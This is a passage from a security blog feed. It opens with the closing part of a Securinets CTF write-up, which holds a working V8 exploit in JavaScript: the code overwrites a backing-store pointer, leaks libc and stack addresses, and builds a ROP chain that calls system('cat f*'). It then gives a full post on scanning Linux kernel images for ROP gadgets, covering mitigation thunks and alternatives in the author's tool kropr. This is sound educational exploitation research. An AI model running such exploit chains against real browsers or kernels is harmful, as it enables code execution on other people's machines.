<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">backing_store: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">backing_store</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="kd">let</span> <span class="nx">dataview</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataView</span><span class="p">(</span><span class="nx">arrs</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

<span class="c1">// Address in GOT we want to leak</span>
<span class="nx">got_pkey_set</span> <span class="o">=</span> <span class="nx">pie_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x28ab9d8</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">got_pkey_set: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">got_pkey_set</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Overwrite backing_store pointer</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">got_pkey_set</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">got_pkey_set</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">libc_pkey_set</span> <span class="o">=</span> <span class="nx">dataview</span><span class="p">.</span><span class="nf">getBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">libc_pkey_set: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">libc_pkey_set</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="kd">let</span> <span class="nx">libc_base</span> <span class="o">=</span> <span class="nx">libc_pkey_set</span> <span class="o">-</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x12a530</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">libc Base: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">libc_base</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>

<span class="kd">let</span> <span class="nx">environ</span>  <span class="o">=</span> <span class="nx">libc_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x20ad58</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">environ: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">environ</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>

<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">environ</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">environ</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">sp_leak</span> <span class="o">=</span> <span class="nx">dataview</span><span class="p">.</span><span class="nf">getBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sp_leak: 0x</span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">sp_leak</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">weh</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">sp_target</span> <span class="o">=</span> <span class="nx">sp_leak</span> <span class="o">-</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x138</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sp_target: 0x</span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">sp_target</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// flag is at ./flag.txt, so write 'cat f*\0' somewhere for system()</span>
<span class="kd">let</span> <span class="nx">cmd_str</span> <span class="o">=</span> <span class="nx">sp_leak</span> <span class="o">-</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x100</span><span class="p">)</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">cmd_str</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">cmd_str</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">cmd_str = 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">cmd_str</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nx">dataview</span><span class="p">.</span><span class="nf">setBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x20746163</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x2a66</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">),</span> <span class="kc">true</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">system</span> <span class="o">=</span> <span class="nx">libc_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x58750</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pop_rdi</span> <span class="o">=</span> <span class="nx">libc_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x000000000010f78b</span><span class="p">);</span>

<span class="c1">// ret</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">pop_rdi</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">ret = 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">ret</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nx">dataview</span><span class="p">.</span><span class="nf">setBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">ret</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

<span class="c1">// pop rdi</span>
<span class="nx">sp_target</span> <span class="o">+=</span> <span class="mi">8</span><span class="nx">n</span><span class="p">;</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">pop_rdi = 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">pop_rdi</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nx">dataview</span><span class="p">.</span><span class="nf">setBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">pop_rdi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

<span class="c1">// cmd_str</span>
<span class="nx">sp_target</span> <span class="o">+=</span> <span class="mi">8</span><span class="nx">n</span><span class="p">;</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">binsh</span> <span class="o">=</span> <span class="nx">libc_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x1cb42f</span><span class="p">);</span>
<span class="nx">dataview</span><span class="p">.</span><span class="nf">setBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">cmd_str</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

<span class="c1">// system</span>
<span class="nx">sp_target</span> <span class="o">+=</span> <span class="mi">8</span><span class="nx">n</span><span class="p">;</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">sp_target</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">dataview</span><span class="p">.</span><span class="nf">setBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">system</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

<span class="c1">// Securinets{shrink_is_op}</span>
</code></pre></div></div>

<p>I encountered <em>a lot</em> of issues with differences in behavior when running the exploit directly against d8 on my host versus in the provided container and running d8 under GDB versus running it directly. Eventually, I got it working though!</p>

<p>Thanks for reading! I learned a ton while working on this challenge but I am still an absolute noob at v8, hopefully my writeup is coherent :p</p>

<p>I’m looking forwards to working on more v8 challenges in the future :)</p>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Browser" /><summary type="html"><![CDATA[I played Securinets Quals this weekend with Shellphish; we ended up placing 7th, qualifying us for finals! When I logged on to play, all of the released pwn was already solved or close to solved by @vy, except for the v8 challenge. Despite having never touched v8 pwn before, I decided to give it a go, and I managed to solve it. This is my writeup for that challenge :)]]></summary></entry><entry><title type="html">The Joys of Linux Kernel ROP Gadget Scanning</title><link href="https://zolutal.github.io/joys-of-kernel-rop/" rel="alternate" type="text/html" title="The Joys of Linux Kernel ROP Gadget Scanning" /><published>2025-09-03T00:00:00+00:00</published><updated>2025-09-03T00:00:00+00:00</updated><id>https://zolutal.github.io/joys-of-kernel-rop</id><content type="html" xml:base="https://zolutal.github.io/joys-of-kernel-rop/"><![CDATA[<p>Linux Kernel ROP gadget scanning is one of those things that seems easy in theory – just run <code class="language-plaintext highlighter-rouge">ROPgadget --binary vmlinux</code> on it!
In practice, however, anyone who has used that method has likely had to sift through a large amount of false positives and likely missed some gadgets due to false negatives.
This is a result of a few quirks of Linux kernel images, some of which make solving the false positive/negative problems a bit difficult.</p>

<p>I want to use this post to describe some of the complexity behind static ROP gadget scanning in modern Linux kernel images and discuss how I handle them in my fork of <a href="https://github.com/Ben-Lichtman/ropr">ropr</a> called <a href="https://github.com/zolutal/kropr">kropr</a>.</p>

<h1 id="the-executable-section-problem">The Executable Section Problem</h1>

<p>Lets start with probably the most well known problem leading to false positives, the fact that generic ROP gadget scanners do not account for some sections of the kernel being only executable at boot time.</p>

<p>Here are all the executable regions in a Ubuntu kernel image (output from readelf):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Section Headers:
  [Nr] Name                  Type             Address           Offset
       Size                  EntSize          Flags  Link  Info  Align
  [ 1] .text                 PROGBITS         ffffffff81000000  00001000
       0000000001600000      0000000000000000  AX       0     0     4096
  [21] .init.text            PROGBITS         ffffffff838ae000  02850000
       00000000000c8725      0000000000000000  AX       0     0     16
  [22] .altinstr_aux         PROGBITS         ffffffff83976725  02918725
       00000000000032b2      0000000000000000  AX       0     0     1
  [29] .altinstr_replacement PROGBITS         ffffffff83d4728a  02ce9286
       0000000000008dcd      0000000000000000  AX       0     0     1
  [31] .exit.text            PROGBITS         ffffffff83d50090  02cf2090
       00000000000046a5      0000000000000000  AX       0     0     16
</code></pre></div></div>

<p>This vmlinux contains five executable sections, all of which in a normal binary would be viable locations to find ROP gadgets. However, for the Linux kernel, this is not the case.</p>

<p>We can see this by booting the kernel and looking at the output from the <a href="https://github.com/martinradev/gdb-pt-dump">gdb-pt-dump</a> utility in gdb, which dumps the page tables along with their permissions/attributes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; pt
             Address :     Length   Permissions                 Region
...
  0xffffffff81000000 :  0x1600000 | W:0 X:1 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff82600000 :   0xda0000 | W:0 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff833a0000 :   0x9c5000 | W:1 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff83d65000 :     0x1000 | W:0 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff83d66000 :   0x69a000 | W:1 X:0 S:1 UC:0 WB:1 G:1 | kernel
...
</code></pre></div></div>

<p>The only executable region here matches with what we saw in the <code class="language-plaintext highlighter-rouge">readelf</code> output previously for the <code class="language-plaintext highlighter-rouge">.text</code> section. As such, the <code class="language-plaintext highlighter-rouge">.text</code> section is the only one we should care about when scanning for gadgets.</p>

<p>In kropr, I address this source of false positives by just filtering for the <code class="language-plaintext highlighter-rouge">.text</code> section when parsing the kernel image.</p>

<h1 id="the-thunk-problem">The Thunk Problem</h1>

<p>In response to speculative execution vulnerabilities, Linux had to do some strange things to control flow instructions to mitigate particular attacks.
One of these measures was to turn all returns and all calls/jumps into calls/jumps to thunks.</p>

<p>Here is an example of what this actually looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; disas free_pipe_info
Dump of assembler code for function free_pipe_info:
   0xffffffff814fc470 &lt;+0&gt;:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff814fc475 &lt;+5&gt;:	push   rbp
   0xffffffff814fc476 &lt;+6&gt;:	mov    rbp,rsp
   0xffffffff814fc479 &lt;+9&gt;:	push   r12
   0xffffffff814fc47b &lt;+11&gt;:	push   rbx
...
   0xffffffff814fc4df &lt;+111&gt;:	mov    rax,QWORD PTR [rax+0x8]
   0xffffffff814fc4e3 &lt;+115&gt;:	call   0xffffffff8222fcc0 &lt;__x86_indirect_thunk_rax&gt;
...
   0xffffffff814fc52a &lt;+186&gt;:	pop    rbx
   0xffffffff814fc52b &lt;+187&gt;:	pop    r12
   0xffffffff814fc52d &lt;+189&gt;:	pop    rbp
   0xffffffff814fc52e &lt;+190&gt;:	xor    eax,eax
   0xffffffff814fc530 &lt;+192&gt;:	xor    edx,edx
   0xffffffff814fc532 &lt;+194&gt;:	xor    esi,esi
   0xffffffff814fc534 &lt;+196&gt;:	xor    edi,edi
   0xffffffff814fc536 &lt;+198&gt;:	jmp    0xffffffff82230460 &lt;__x86_return_thunk&gt;
</code></pre></div></div>

<p>In the above code, where you would expect to see an indirect call we instead see a call to <code class="language-plaintext highlighter-rouge">__x86_indirect_thunk_rax</code>, and where you would expect to see a <code class="language-plaintext highlighter-rouge">ret</code> instruction at the end of the function we instead see a jump to <code class="language-plaintext highlighter-rouge">__x86_return_thunk</code>.</p>

<p>These thunks are actually due to mitigations against two different microarchitectural vulnerabilities. One of which is Spectre V2, which can be mitigated via <a href="https://security.googleblog.com/2018/01/more-details-about-mitigations-for-cpu_4.html">retpolines</a>. This is the mitigation that adds <code class="language-plaintext highlighter-rouge">__x86_indirect_thunk_&lt;register&gt;</code> calls to the code in place of the expected <code class="language-plaintext highlighter-rouge">call &lt;register&gt;</code> instructions. The other vulnerability is <a href="https://comsec.ethz.ch/research/microarch/retbleed/">Retbleed</a>, which can be mitgated via a jmp2ret (more details can be found in the retbleed paper), which is the mitigation that adds <code class="language-plaintext highlighter-rouge">__x86_return_thunk</code> jumps in place of return instructions.</p>

<p>So, how do these thunks affect ROP gadget scanning? Well, they actually cause some pretty major problems…</p>

<h2 id="false-negatives-from-thunks">False Negatives From Thunks</h2>

<p>Here is an example of some output from kropr, ropr, and ROPgadget:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(jmill@ubun)-[~]
└─$ kropr --patch-rets=false --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; jmp 0xffffffff82230460 &lt;__x86_return_thunk&gt;;

==&gt; Found 175774 gadgets in 1.579 seconds

┌──(jmill@ubun)-[~]
└─$ ropr ./ubuntu-vmlinux | grep 0xffffffff8191f11c

==&gt; Found 456762 gadgets in 2.583 seconds

┌──(jmill@ubun)-[~]
└─$ ROPgadget --binary ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c : pop rdi ; jmp 0xffffffff82230460
</code></pre></div></div>

<p>( ignore the kropr flags for now, we’ll get to those later )</p>

<p>You can see there is a <code class="language-plaintext highlighter-rouge">pop rdi; ret;</code> gadget that ropr is <em>entirely unable to find</em> because they do not account for thunked returns.
On the other hand, ROPgadget is actually able to find it, but its output makes it unclear that this is actually a ROP gadget rather than a JOP (Jump Oriented Programming) gadget.</p>

<p>So, this is an instance of a false negative in the case of ropr, and a true positive that is difficult to visually parse in the case of ROPgadget which may lead to it being overlooked.</p>

<p>I address this in kropr, as can be seen in the above output, by adding symbol names for thunked calls/jumps/returns.</p>

<h2 id="false-positives-from-thunks">False Positives From Thunks</h2>

<p>So, as we saw, thunks can introduce false negatives, but as it turns out they can also introduce false positives!</p>

<p>Here is an example of two gadgets found by kropr:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xffffffff810c41ff: jmp 0xffffffff82230460 &lt;__x86_return_thunk&gt;;
0xffffffff810c4200: pop rsp; ret 0x116;
</code></pre></div></div>

<p>Notice that these gadgets are 1 byte apart in memory, the second gadget actually starts with an unaligned instruction in the second byte of the jump instruction in the first gadget.
This is kind of interesting, because normally <code class="language-plaintext highlighter-rouge">ret</code> is a single byte instruction (0xc3) meaning there cannot be an unaligned instruction inside of it, but as a result of these mitigations we now have these extra unaligned gadgets.</p>

<p>So… that second gadget is real, right?</p>

<p>Well, maybe?</p>

<p>The thing is, <code class="language-plaintext highlighter-rouge">__x86_return_thunk</code> is, as was stated, a mitigation against the Retbleed vulnerability. Retbleed only impacted AMD’s Zen 1-2 CPUs, and this mitigation comes with a performance hit. To dodge that perf hit on unaffected CPUs, Kernel developers made it so these thunks are conditionally applied at runtime. The kernel will actually patch itself during startup depending on what CPU you are running it on.</p>

<p>If you are running Zen 1-2 CPU affected by Retbleed, then it <em>is a real gadget</em>, it will be present at runtime.
On other CPUs, which are not affected by Retbleed, these gadgets are false positives because the thunk will be patched to something else.</p>

<p>As an example, lets check on my Zen 3 CPU running this kernel under Qemu with KVM enabled and the <code class="language-plaintext highlighter-rouge">--cpu host</code> argument being passed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/i 0xffffffff810c41ff
   0xffffffff810c41ff:	jmp    0xffffffff8250410b &lt;srso_alias_return_thunk&gt;
gef&gt; x/i 0xffffffff810c41ff+1
   0xffffffff810c4200:	(bad)
</code></pre></div></div>

<p>wat.</p>

<p>So, Zen 3 is actually vulnerable to an <em>entirely different return instruction related speculative execution vulnerability</em> called <a href="https://comsec.ethz.ch/research/microarch/inception/">Speculative Return Stack Overflow</a> (SRSO, aka Inception). This vulnerability has its own thunk, <code class="language-plaintext highlighter-rouge">srso_alias_return_thunk</code> that gets patched over the <code class="language-plaintext highlighter-rouge">jmp __x86_return_thunk</code> instructions at boot if your CPU is vulnerable to SRSO.</p>

<p>So, I guess its at this point that I wrap up the blog and admit that static ROP gadget discovery for the Linux kernel is impractical to do without some false negatives/positives or full knowledge of all of the CPU features and mitigations applicable to the target system.</p>

<p>Or it would be, but actually I’m not done yapping quite yet !!!</p>

<h2 id="thunk-patching">Thunk Patching</h2>

<p>Just because it is impractical to account for all possible CPUs someone might be using, doesn’t mean it isn’t worth trying to make a <em>reliable</em> ROP gadget scanner!
What I want is a happy medium default configuration between having low false negatives but eliminating as many false positives as possible.</p>

<p>In kropr, to deal with the thunks problem I actually patch out all of the thunk calls/jump/returns by default, eliminating false positives from unaligned instructions inside thunks while having a nice side effect of making gadgets that contain thunks look more like you would expect them to.</p>

<p>If you remember from earlier in the post I said to ignore the arguments in this command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(jmill@ubun)-[~]
└─$ kropr --patch-rets=false --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; jmp 0xffffffff82230460 &lt;__x86_return_thunk&gt;;
</code></pre></div></div>

<p>Well, here is the output without those arguments (though I needed to add <code class="language-plaintext highlighter-rouge">--nouniq</code> to prevent the gadget from being deduplicated with the other <code class="language-plaintext highlighter-rouge">pop rdi; ret</code> gadgets):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(jmill@ubun)-[~]
└─$ kropr --nouniq ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; ret;
</code></pre></div></div>

<p>Kinda nice, eh? its not a thunk anymore, its just a normal return!</p>

<p>And the same is true of retpoline thunks:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(jmill@ubun)-[~]
└─$ kropr --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff810efe0b
0xffffffff810efe0b: jmp 0xffffffff8222fda0 &lt;__x86_indirect_thunk_rdi&gt;;

┌──(jmill@ubun)-[~]
└─$ kropr --nouniq ./ubuntu-vmlinux | grep 0xffffffff810efe0b
0xffffffff810efe0b: jmp rdi;
</code></pre></div></div>

<p>Its just a normal jump now!</p>

<p>Additionally, the case earlier with the unaligned instruction inside the ret thunk has also been addressed, because the return is back to being a single-byte instruction:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Before:
0xffffffff810c41ff: jmp 0xffffffff82230460 &lt;__x86_return_thunk&gt;;
0xffffffff810c4200: pop rsp; ret 0x116;

After:
0xffffffff810c41ff: ret;
</code></pre></div></div>

<p>So, what is this witchcraft? am I doing some cursed post-processing string replacement?</p>

<p>Nope, but honestly that might have been easier!</p>

<p>Instead, what I do in kropr is partially re-implent the kernel’s self-patching routine that happens when a CPU is not vulnerable to any vulnerabilities that necessitate thunked calls, jumps, or returns. The code that does this in Linux can be found <a href="https://github.com/torvalds/linux/blob/v6.16/arch/x86/kernel/alternative.c#L1049">here</a> for returns, and <a href="https://github.com/torvalds/linux/blob/v6.16/arch/x86/kernel/alternative.c#L945">here</a> for retpoline jumps/calls.</p>

<p>In short, for returns it iterates over the entries in the <code class="language-plaintext highlighter-rouge">.return_sites</code> section of the kernel image, which contains offsets to all of the jump instructions to thunked returns. It then replaces the thunks with a <code class="language-plaintext highlighter-rouge">ret</code> instruction followed by four <code class="language-plaintext highlighter-rouge">int3</code> instructions to replace the entire jump instruction.</p>

<p>For retpolines it iterates of the entries in the <code class="language-plaintext highlighter-rouge">.retpoline_sites</code> section of the kernel image, which contains offsets to all of the calls/jumps to retpoline thunks. For each instruction it will decode the instruction to determine which register the thunk corresponds to and whether it is a call or jump instruction. It then patches over the existing thunk instruction with the typical version (e.g. <code class="language-plaintext highlighter-rouge">call __x86_indirect_thunk_rdi</code> becomes <code class="language-plaintext highlighter-rouge">call rdi</code>) and then fills the remaining space after the previous instruction with nop instructions.</p>

<p>There is some additional complexity in each of these routines that I’m glossing over which deals with various kernel configurations and other microarchitectural mitigations, but they aren’t all that important for the purposes of finding reliable gadgets.</p>

<h1 id="the-alternatives-problem">The Alternatives Problem</h1>

<p>As though the Thunk Problem wasn’t enough of a doozy, dealing with ‘alternatives’ is even more painful, I don’t even try to account for them at the moment in kropr!</p>

<p>So, what is an ‘alternative’?</p>

<p>The Linux kernel supports many different x86_64 processors that support many different hardware features, some of these features determine whether some instructions are valid on the processor or not. Newer generations of processors may introduce new instructions which are related to security features or even just provide a faster alternative to an existing instruction.</p>

<p>Alternatives, in the context of the Linux kernel, account for this case where an instruction at some address should be some instruction by default but should be a different instruction if the CPU features allow it.</p>

<p>For example, CPUs started to support SMAP (Supervisor Mode Access Prevention) in 2012, which introduced two instructions – <code class="language-plaintext highlighter-rouge">stac</code> and <code class="language-plaintext highlighter-rouge">clac</code>. The <code class="language-plaintext highlighter-rouge">stac</code> instruction sets a bit in the <code class="language-plaintext highlighter-rouge">eflags</code> register which temporarily disables the enforcement of SMAP, and the <code class="language-plaintext highlighter-rouge">clac</code> instruction clears that bit reenabling the enforcement of SMAP.
If you’ve ever wondered how the function <code class="language-plaintext highlighter-rouge">copy_from_user</code> in the kernel works when SMAP is enabled, this is how. They do <code class="language-plaintext highlighter-rouge">stac</code> -&gt; <code class="language-plaintext highlighter-rouge">memory read</code> -&gt; <code class="language-plaintext highlighter-rouge">clac</code>, temporarily bypassing SMAP enforcement for the access of userspace memory.</p>

<p>On a CPU that doesn’t support the SMAP feature, these instructions would raise an Invalid Opcode exception. This means that the kernel needs to only use the <code class="language-plaintext highlighter-rouge">stac</code> and <code class="language-plaintext highlighter-rouge">clac</code> instructions in <code class="language-plaintext highlighter-rouge">copy_from_user</code> if the SMAP feature is actually supported. Alternatives are what make this possible.</p>

<p>There is section of the kernel image for alternatives called <code class="language-plaintext highlighter-rouge">.altinstructions</code> which specifies</p>
<ul>
  <li>A location for an instruction that should be conditionally replaced</li>
  <li>An offset into another section called <code class="language-plaintext highlighter-rouge">.altinstr_replacement</code> which contains the alternate instruction’s code</li>
  <li>A ‘cpuid’ value representing a CPU feature related to this alternative</li>
  <li>A ‘flags’ value used to specify additonal information about when the alternative should be applied</li>
  <li>The length of the original instruction</li>
  <li>The length of the replacement instruction</li>
</ul>

<p>The actual struct for these entries in the <code class="language-plaintext highlighter-rouge">.altinstructions</code> section that is used by the kernel can be found <a href="https://github.com/torvalds/linux/blob/v6.16/arch/x86/include/asm/alternative.h#L68-L82">here</a>.</p>

<p>Since these instructions can be replaced during boot, they serve as a source of both false positives and false negatives. An instruction in a gadget might be replaced at runtime, creating a false positive, and a useful instruction could only be present at runtime creating a false negative.</p>

